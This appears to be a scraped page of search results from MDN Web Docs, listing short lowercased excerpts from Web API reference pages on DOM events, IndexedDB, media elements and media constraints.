bubbles yes cancelable yes interface mouseevent event handler property onauxclick preventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling preventdefault() from within an auxclick event handler.
...this can be done by preventing the default behaviour of the mousedown or pointerdown event.
...instead, this can be done by preventing the default behavior of the contextmenu event.
...And 3 more matches
Element.clientTop - Web APIs
WebAPIElementclientTop
as it happens, all that lies between the two locations (offsettop and client area top) is the element's border.
... this is because the offsettop indicates the location of the top of the border (not the margin) while the client area starts immediately below the border, (client area includes padding.) therefore, the clienttop value will always equal the integer portion of the .getcomputedstyle() value for "border-top-width".
... gecko-based applications support clienttop starting with gecko 1.9 (firefox 3, implemented in bug 111207).
...And 3 more matches
Element.getElementsByTagNameNS() - Web APIs
syntax elements = element.getelementsbytagnamens(namespaceuri, localname) elements is a live htmlcollection of found elements in the order they appear in the tree.
... localname is either the local name of elements to look for or the special value "*", which matches all elements (see element.localname and attr.localname).
...var table = document.getelementbyid("forecast-table"); var cells = table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification.
...And 3 more matches
Element: mousedown event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmousedown examples the following example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... when the page loads, constants mypics and context are created to store a reference to the canvas and the 2d context we will use to draw.
...if isdrawing is true, the event handler calls the drawline function to draw a line from the stored x and y values to the current location.
...And 3 more matches
Element: mouseenter event - Web APIs
bubbles no cancelable no interface mouseevent event handler property onmouseenter usage notes though similar to mouseover, mouseenter differs in that it doesn't bubble and it isn't sent to any descendants when the pointer is moved from one of its descendants' physical space to its own physical space.
... a single mouseover event is sent to the deepest element of the dom tree, then it bubbles up the hierarchy until it is canceled by a handler or reaches the root.
... with deep hierarchies, the number of mouseenter events sent can be quite huge and cause significant performance problems.
...And 3 more matches
Element: mousemove event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmousemove examples the following example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... when the page loads, constants mypics and context are created to store a reference to the canvas and the 2d context we will use to draw.
...if isdrawing is true, the event handler calls the drawline function to draw a line from the stored x and y values to the current location.
...And 3 more matches
Element.scrollHeight - Web APIs
the scrollheight value is equal to the minimum height the element would require in order to fit all the content in the viewport without using a vertical scrollbar.
...it can also include the height of pseudo-elements such as ::before or ::after.
... if the element's content can fit without a need for vertical scrollbar, its scrollheight is equal to clientheight this property will round the value to an integer.
...And 3 more matches
Event.bubbles - Web APIs
WebAPIEventbubbles
the bubbles read-only property of the event interface indicates whether the event bubbles up through the dom or not.
... note: see event bubbling and capture for more information on bubbling.
...passes the event along if does not passiton(e); } // already bubbling dooutput(e); } note: only certain events can bubble.
...And 3 more matches
Event.returnValue - Web APIs
WebAPIEventreturnValue
the event property returnvalue indicates whether the default action for this event has been prevented or not.
...you should use preventdefault(), and defaultprevented instead of this historical property.
... syntax event.returnvalue = bool; var bool = event.returnvalue; value a boolean value which is true if the event has not been canceled; otherwise, if the event has been canceled or the default has been prevented, the value is false.
...And 3 more matches
ExtendableEvent.waitUntil() - Web APIs
it can also be used to detect whether that work was successful.
...if the promise passed to waituntil() rejects, the install is considered a failure, and the installing service worker is discarded.
... this is primarily used to ensure that a service worker is not considered installed until all of the core caches it depends on are successfully populated.
...And 3 more matches
Cross-global fetch usage - Web APIs
this article explains an edge case that occurs with fetch (and potentially other apis exhibiting the same kind of resource retrieval behavior).
... when a cross-origin fetch involving a relative url is initiated from an <iframe>, the relative url used to be resolved against the current global location, rather than the iframe's location.
... the edge case many sites will never comes up against this edge case.
...And 3 more matches
File - Web APIs
WebAPIFile
file objects are generally retrieved from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement.
... a file object is a specific kind of a blob, and can be used in any context that a blob can.
... see using files from web applications for more information and examples.
...And 3 more matches
FileReaderSync - Web APIs
this method is deprecated, consider using readasarraybuffer() instead.
...the optional encoding parameter indicates the encoding to be used (e.g., iso-8859-1 or utf-8).
... specifications specification status comment file apithe definition of 'filereadersync' in that specification.
...And 3 more matches
FileSystemEntry.fullPath - Web APIs
this can also be thought of as a path which is relative to the root directory, with a "/" prepended to it to make it absolute.
... syntax var fullpath = filesystementry.fullpath; value a usvstring indicating the entry's full path.
... example this example shows a function which is called with a file system; it then gets a filesystemfileentry for a file named data.json and returns its full path.
...And 3 more matches
FileSystemEntry.getMetadata() - Web APIs
} the filesystementry interface's method getmetadata() obtains a metadata object with information about the file system entry, such as its modification date and time and its size.
... syntax filesystementry.getmetadata(successcallback[, errorcallback]); parameters successcallback a function which is called when the copy operation is succesfully completed.
... errorcallback optional an optional callback which is executed if an error occurs while looking up the metadata.
...And 3 more matches
FontFaceSet - Web APIs
properties fontfaceset.status read only indicates the font-face's loading status.
... events fontfaceset.onloading an eventlistener called whenever an event of type loading is fired, indicating a font-face set has started loading.
... fontfaceset.onloadingdone an eventlistener called whenever an event of type loadingdone is fired, indicating that a font face set has finished loading.
...And 3 more matches
GestureEvent - Web APIs
positive values indicate clockwise rotation; negative values indicate anticlockwise rotation.
... initial value: 0.0 gestureevent.scale read only distance between two digits since the event's beginning.
...values below 1.0 indicate an inward pinch (zoom out).
...And 3 more matches
GlobalEventHandlers.ontransitionend - Web APIs
one way this can happen is by changing the value of the transition-property attribute which applies to the target.
... syntax var transitionendhandler = target.ontransitionend; target.ontransitionend = function value a function to be called when a transitionend event occurs indicating that a css transition has completed on the target, where the target object is an html element (htmlelement), document (document), or window (window).
... example in this example, we use the transitionrun and transitionend events to detect when the transition begins and ends, to cause a text update to occur during the transition.
...And 3 more matches
HTMLAudioElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
... mozcurrentsampleoffset() returns the number of samples form the beginning of the stream that have been written so far into the audio stream created by calling mozwriteaudio().
... examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load.
...And 3 more matches
HTMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseli...
...t="_top"><rect x="386" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="446" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} for the purposes of web development, you can generally think of htmldocument as an alias for document, upon which htmldocument is based.
... you can find documentation for the members of htmldocument under the document interface.
...And 3 more matches
HTMLElement: input event - Web APIs
bubbles yes cancelable no interface inputevent event handler property globaleventhandlers.oninput the event also applies to elements with contenteditable enabled, and to any element when designmode is turned on.
... in the case of contenteditable and designmode, the event target is the editing host.
... for <input> elements with type=checkbox or type=radio, the input event should fire whenever a user toggles the control, per the html5 specification.
...And 3 more matches
HTMLHeadElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</te...
... specifications specification status comment html living standardthe definition of 'htmlheadelement' in that specification.
... living standard html 5.1the definition of 'htmlheadelement' in that specification.
...And 3 more matches
HTMLHeadingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline po...
... htmlheadingelement.align is a domstring representing an enumerated attribute indicating alignment of the heading with respect to the surrounding context.
... specifications specification status comment html living standardthe definition of 'htmlheadingelement' in that specification.
...And 3 more matches
HTMLIFrameElement.referrerPolicy - Web APIs
origin only send the origin of the document as the referrer in all cases.
... origin-when-cross-origin send a full url when performing a same-origin request, but only send the origin of the document for other cases.
...carefully consider the impact of this setting.
...And 3 more matches
HTMLImageElement.border - Web APIs
a value of 0, the default, indicates that no border should be drawn.
... the width, specifically, is controlled using the writing-mode aware border-block-start-width, border-block-end-width, border-inline-start-width, and border-inline-end-width properties.
... for compatibility (or perhaps other) reasons, you can use the older properties instead (or in addition): border-top-width, border-right-width, border-bottom-width, and border-left-width.
...And 3 more matches
HTMLImageElement.loading - Web APIs
for instance, if the user is scrolling through the document, a value of lazy will cause the image to only be loaded shortly before it will appear in the window's visual viewport.
...when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire.
... images whose loading attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event.
...And 3 more matches
HTMLImageElement.name - Web APIs
the htmlimageelement interface's deprecated name property specifies a name for the element.
... syntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a domstring providing a name by which the image can be referenced.
... important: this property is deprecated and is only in the specification still for backward compatibility purposes.
...And 3 more matches
HTMLInputElement: invalid event - Web APIs
bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a summary of the problems with a form on submission.
...the validity of submittable elements is checked before submitting their owner <form>, or after the checkvalidity() method of the element or its owner <form> is called.
...in this example, when an invalid event fires because of an invalid value in the input, the invalid value is logged.
...And 3 more matches
HTMLInputElement.webkitEntries - Web APIs
the array can only contain directories if the webkitdirectory property is true.
... this property is called webkitentries in the specification due to its origins as a google chrome-specific api.
...more specifically, files are represented by filesystemfileentry objects, and, if they're allowed, directories are represented by filesystemdirectoryentry objects.
...And 3 more matches
HTMLIsIndexElement - Web APIs
the <isindex> element has been deprecated in html4 and removed in html5.
... this latest specification requires that this element implements htmlunknownelement rather than htmlisindexelement.
...it can have the null value, if <isindex> isn't part of any form.
...And 3 more matches
HTMLKeygenElement - Web APIs
properties autofocus is a boolean that reflects the autofocus html attribute, indicating that the form control should have input focus when the page loads.
... form read only is a htmlformelement that indicates the control's form owner, reflecting the form html attribute if it is defined.
... validationmessage read only is a domstring representing a localized message that describes the validation constraints that the control does not satisfy (if any).
...And 3 more matches
HTMLLabelElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 ...
... specifications specification status comment html living standardthe definition of 'htmllabelelement' in that specification.
... living standard html5the definition of 'htmllabelelement' in that specification.
...And 3 more matches
HTMLMediaElement.autoplay - Web APIs
the htmlmediaelement.autoplay property reflects the autoplay html attribute, indicating whether playback should automatically begin as soon as enough media is available to do so without interruption.
... note: sites which automatically play audio (or videos with an audio track) can be an unpleasant experience for users, so it should be avoided when possible.
... if you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it).
...And 3 more matches
HTMLMediaElement.currentTime - Web APIs
syntax var currenttime = htmlmediaelement.currenttime; htmlmediaelement.currenttime = 35; value a double-precision floating-point value indicating the current playback time in seconds.
... if the media is not yet playing, the value of currenttime indicates the time position within the media at which playback will begin once the play() method is called.
...also, media whose timeline doesn't begin at 0 seconds cannot be seeked to a time before its timeline's earliest time.
...And 3 more matches
HTMLMediaElement.load() - Web APIs
load() will reset the element and rescan the available sources, thereby causing the changes to take effect.
... usage notes calling load() aborts all ongoing operations involving this media element, then begins the process of selecting and loading an appropriate media resource given the options specified in the <audio> or <video> element and its src attribute or child <source> element(s).
... the process of aborting any ongoing activities will cause any outstanding promises returned by play() being resolved or rejected as appropriate based on their status before the loading of new media can begin.
...And 3 more matches
HTMLMetaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111...
... specifications specification status comment html living standardthe definition of 'htmlmetaelement' in that specification.
... living standard html5the definition of 'htmlmetaelement' in that specification.
...And 3 more matches
HTMLOrForeignElement.tabIndex - Web APIs
elements that have identical tabindex values should be navigated in the order they appear.
... syntax element.tabindex = index; var index = element.tabindex; value index is an integer example const b1 = document.getelementbyid('button1'); b1.tabindex = 1; specifications specification status comment html living standardthe definition of 'tabindex' in that specification.
... living standard no change from document object model (dom) level 2 html specification.
...And 3 more matches
HTMLParamElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill...
... specifications specification status comment html living standardthe definition of 'htmlparamelement' in that specification.
... living standard html5the definition of 'htmlparamelement' in that specification.
...And 3 more matches
HTMLPreElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
... specifications specification status comment html living standardthe definition of 'htmlpreelement' in that specification.
... living standard html5the definition of 'htmllielement' in that specification.
...And 3 more matches
HTMLScriptElement.referrerPolicy - Web APIs
origin only send the origin of the document as the referrer in all cases.
... origin-when-cross-origin send a full url when performing a same-origin request, but only send the origin of the document for other cases.
...carefully consider the impact of this setting.
...And 3 more matches
HTMLVideoElement.videoHeight - Web APIs
the htmlvideoelement interface's read-only videoheight property indicates the intrinsic height of the video, expressed in css pixels.
...if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster frame size information is yet available.
... about intrinsic width and height a user agent calculates the intrinsic width and height of the element's media by starting with the media's raw pixel width and height, then taking into account factors including: the media's aspect ratio.
...And 3 more matches
HTMLVideoElement.videoWidth - Web APIs
the htmlvideoelement interface's read-only videowidth property indicates the intrinsic width of the video, expressed in css pixels.
...if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster frame size information is yet available.
... about intrinsic width and height a user agent calculates the intrinsic width and height of the element's media by starting with the media's raw pixel width and height, then taking into account factors including: the media's aspect ratio.
...And 3 more matches
File drag and drop - Web APIs
html drag and drop interfaces enable web applications to drag and drop files on a web page.
... this document describes how an application can accept one or more files that are dragged from the underlying platform's file manager and dropped on a web page.
...the following code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover event handler on the drop target element and that handler will turn off the browser's default drag behavior.
...And 3 more matches
History.back() - Web APIs
WebAPIHistoryback
the history.back() method causes the browser to move back one page in the session history.
... it has the same effect as calling history.go(-1).
... if there is no previous page, this method call does nothing.
...And 3 more matches
History.scrollRestoration - Web APIs
the scrollrestoration property of history interface allows web applications to explicitly set default scroll restoration behavior on history navigation.
... syntax const scrollrestore = history.scrollrestoration values auto the location on the page to which the user has scrolled will be restored.
... manual the location on the page is not restored.
...And 3 more matches
History API - Web APIs
similarly, you can move forward (as if the user clicked the forward button), like this: window.history.forward() moving to a specific point in history you can use the go() method to load a specific page from session history, identified by its relative position to the current page.
... (the current page's relative position is 0.) to move back one page (the equivalent of calling back()): window.history.go(-1) to move forward a page, just like calling forward(): window.history.go(1) similarly, you can move forward 2 pages by passing 2, and so forth.
... another use for the go() method is to refresh the current page by either passing 0, or by invoking it without an argument: // the following statements // both have the effect of // refreshing the page window.history.go(0) window.history.go() you can determine the number of pages in the history stack by looking at the value of the length property: let numberofentries = window.history.length interfaces history allows manipulation of the browser session history (that is, the pages visited in the tab or frame that the current page is loaded in).
...And 3 more matches
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
the cursor's key can be any data type.
...within each iteration we log the key of the cursor to the console, something like this (its the album title in each case, which is our key).
... the cursor does not require us to select the data based on a key; we can just grab all of it.
...And 3 more matches
IDBFactory - Web APIs
the idbfactory interface of the indexeddb api lets applications asynchronously access the indexed databases.
... idbfactory.cmp a method that compares two keys and returns a result indicating which one is greater in value.
... example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases.
...And 3 more matches
IDBIndex.unique - Web APIs
WebAPIIDBIndexunique
the unique read-only property returns a boolean that states whether the index allows duplicate keys.
...this method takes an optional parameter, unique, which if set to true means that the index will not be able to accept duplicate entries.
... syntax var isunique = idbindex.unique; value a boolean: value effect true the current index does not allow duplicate values for a key.
...And 3 more matches
IDBKeyRange.includes() - Web APIs
the includes() method of the idbkeyrange interface returns a boolean indicating whether a specified key is inside the key range.
...this can be any type.
... example var keyrangevalue = idbkeyrange.bound('a', 'k', false, false); var myresult = keyrangevalue.includes('f'); // returns true var myresult = keyrangevalue.includes('w'); // returns false polyfill the includes() method was added in the second edition of the indexed db specification.
...And 3 more matches
IDBObjectStore.add() - Web APIs
to determine if the add operation has completed successfully, listen for the transaction’s complete event in addition to the idbobjectstore.add request’s success event, because the transaction may still fail after the success event fires.
... constrainterror an insert operation failed because the primary key constraint was violated (due to an already existing record with the same primary key value).
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 3 more matches
IDBObjectStore - Web APIs
if this attribute is null, the application must provide a key for each modification operation.
... idbobjectstore.index() opens an index from this object store after which it can, for example, be used to return a sequence of records sorted by that index using a cursor.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in db.
...And 3 more matches
IDBRequest.transaction - Web APIs
this property can be null for requests not made within transactions, such as for requests returned from idbfactory.open — in this case you're just connecting to a database, so there is no transaction to return.
... if a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an idbtransaction with mode equal to "versionchange", and can be used to access existing object stores and indexes, or abort the the upgrade.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var d...
...And 3 more matches
IDBTransaction.commit() - Web APIs
the commit() method of the idbtransaction interface commits the transaction if it is called on an active transaction.
... note that commit() doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made.
... commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched.
...And 3 more matches
IDBTransaction.error - Web APIs
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
...it can be a reference to the same error as the request object that raised it, or a transaction failure (for example quotaexceedederror or unknownerror).
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 3 more matches
IDBTransaction.objectStore() - Web APIs
every call to this method on the same transaction object, with the same name, returns the same idbobjectstore instance.
... if this method is called on a different transaction object, a different idbobjectstore instance is returned.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 3 more matches
IdleDeadline - Web APIs
the idledeadline interface is used as the data type of the input parameter to idle callbacks established by calling window.requestidlecallback().
... it offers a method, timeremaining(), which lets you determine how much longer the user agent estimates it will remain idle and a property, didtimeout, which lets you determine if your callback is executing because its timeout duration expired.
... to learn more about how request callbacks work, see collaborative scheduling of background tasks.
...And 3 more matches
installChrome - Web APIs
installchrome installs new skin or locale packages in netscape 6 and mozilla.
... method of installtrigger object syntax int installchrome( type, url, name ) parameters the installchrome method has the following parameters: type type can be installtrigger.skin or installtrigger.locale.
... returns a boolean value indicating false if the software install feature has been turned off, and true if it's on.
...And 3 more matches
Keyboard.lock() - Web APIs
WebAPIKeyboardlock
the lock() method of the keyboard interface returns a promise after enabling the capture of keypresses for any or all of the keys on the physical keyboard.
... this method can only capture keys that are granted access by the underlying operating system.
... examples capturing all keys the following example captures all keypresses.
...And 3 more matches
KeyboardEvent() - Web APIs
"location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboardevent.location.
... "charcode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboardevent.charcode.
... "keycode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboardevent.keycode.
...And 3 more matches
KeyframeEffect.setKeyframes() - Web APIs
this is the canonical format returned by the getkeyframes() method.
... element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, ​ color: "#000" } ], 2000); offsets for each keyframe can be specified by providing an offset value.
... the easing to apply between keyframes can be specified by providing an easing value as illustrated below.
...And 3 more matches
KeyframeEffectOptions - Web APIs
can be set to accumulate or replace (see above).
...although this is technically optional, keep in mind that your animation will not run if this value is 0.
...0.5 would indicate starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration.
...And 3 more matches
MediaDeviceInfo.groupId - Web APIs
two devices have the same group identifier if they belong to the same physical device; for example, a monitor with both a built-in camera and microphone.
... specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial definition.
...And 3 more matches
MediaElementAudioSourceNode - Web APIs
when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position divided by overall window height.
... you can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down.
... note: you can also view this example running live, or view the source.
...And 3 more matches
MediaKeySystemConfiguration - Web APIs
an initialization data type is a string indicating the format of the initialization data.
... mediakeysystemconfiguration.audiocapabilities read only returns a list of supported audio type and capability pairs.
... mediakeysystemconfiguration.videocapabilities read only returns a list of supported video type and capability pairs.
...And 3 more matches
MediaPositionState.duration - Web APIs
the mediapositionstate dictionary's duration property is used when calling the mediasession method setpositionstate() to provide the user agent with the overall total duration in seconds of the media currently being performed.
... this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer.
... syntax let positionstate = { duration: durationinseconds }; let durationinseconds = positionstate.duration; value a floating-point value indicating the overall duration, in seconds, of the media being performed.
...And 3 more matches
MediaPositionState - Web APIs
its contents can be used by the user agent to provide a user interface displaying information about the playback position and duration of the media currently being performed.
...this should always be a positive number, with positive infinity (infinity) indicating media without a defined end, such as a live stream.
... playbackrate a floating-point value indicating the rate at which the media is being played, as a ratio relative to its normal playback speed.
...And 3 more matches
MediaQueryList.addListener() - Web APIs
the addlistener() method of the mediaquerylist interface adds a listener to the mediaquerylistener that will run a custom callback function in response to the media query status changing.
... this is basically an alias for eventtarget.addeventlistener(), for backwards compatibility purposes.
... syntax mediaquerylist.addlistener(func) parameters func a function or function reference representing the callback function you want to run when the media query status changes.
...And 3 more matches
MediaRecorder() - Web APIs
the object can optionally be configured to record using a specific media container (file type), and, further, can specify the exact codec and codec configuration(s) to use by specifying the codecs parameter.
...this source media can come from a stream created using navigator.mediadevices.getusermedia() or from an <audio>, <video> or <canvas> element.
... options optional a dictionary object that can contain the following properties: mimetype: a mime type specifying the format for the resulting media; you may simply specify the container format (the browser will select its preferred codecs for audio and/or video), or you may use the codecs parameter and/or the profiles parameter to provide detailed information about which codecs to use and how to configure them.
...And 3 more matches
MediaRecorder.requestData() - Web APIs
the mediarecorder.requestdata() method (part of the mediarecorder api) is used to raise a dataavailable event containing a blob object of the captured media as it was when the method was called.
... this can then be grabbed and manipulated as you wish.
... raise a dataavailable event containing a blob of the currently captured data (the blob is available under the event's data attribute.) create a new blob and place subsequently captured data into it.
...And 3 more matches
MediaSession.setPositionState() - Web APIs
this can be particularly useful if your code implements a player for type of media not directly supported by the browser.
... call this method on the navigator object's mediasession object.
... exceptions typeerror this error can occur in an array of circumstances: the specified mediapositionstate object's duration is missing, negative, or null.
...And 3 more matches
MediaSource.isTypeSupported() - Web APIs
that is, if it can successfully create sourcebuffer objects for that mime type.
... if the returned value is false, then the user agent is certain that it cannot access media of the specified format.
... return value a boolean which is true if the browser feels that it can probably play media of the specified type.
...And 3 more matches
MediaStreamConstraints - Web APIs
the mediastreamconstraints dictionary is used when calling getusermedia() to specify what kinds of tracks should be included in the returned mediastream, and, optionally, to establish constraints for those tracks' settings.
... to learn more about how constraints work, see capabilities, constraints, and settings.
... track constraints audio either a boolean (which indicates whether or not an audio track is requested) or a mediatrackconstraints object providing the constraints which must be met by the audio track included in the returned mediastream.
...And 3 more matches
MediaStreamTrack: ended event - Web APIs
the ended event of the mediastreamtrack interface is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... bubbles no cancelable no interface event event handler property mediastreamtrack.onended usage notes ended events fire when the media stream track's source permanently stops sending data on the stream.
... there are various ways this can happen, including: there is no more data left to send.
...And 3 more matches
MediaStreamTrack.onunmute - Web APIs
mediastreamtrack's onunmute event handler is called when the unmute event is received.
... when the onunmute event handler is called, the track's muted flag is false.
... syntax track.onunmute = unmutehandler; value unmutehandler is a function which is called when the mediastreamtrack receives the unmute event.
...And 3 more matches
MediaTrackConstraints.channelCount - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { channelcount: constraint }; constraintsobject.channelcount = constraint; value if this value is a number, the user agent will attempt to obtain media whose channel count is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 3 more matches
MediaTrackConstraints.frameRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... if this value is a number, the user agent will attempt to obtain media whose frame rate is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 3 more matches
MediaTrackConstraints.height - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { height: constraint }; constraintsobject.height = constraint; value if this value is a number, the user agent will attempt to obtain media whose height is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 3 more matches
MediaTrackConstraints.sampleRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { samplerate: constraint }; constraintsobject.samplerate = constraint; value if this value is a number, the user agent will attempt to obtain media whose sample rate is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 3 more matches
MediaTrackControls.volume - Web APIs
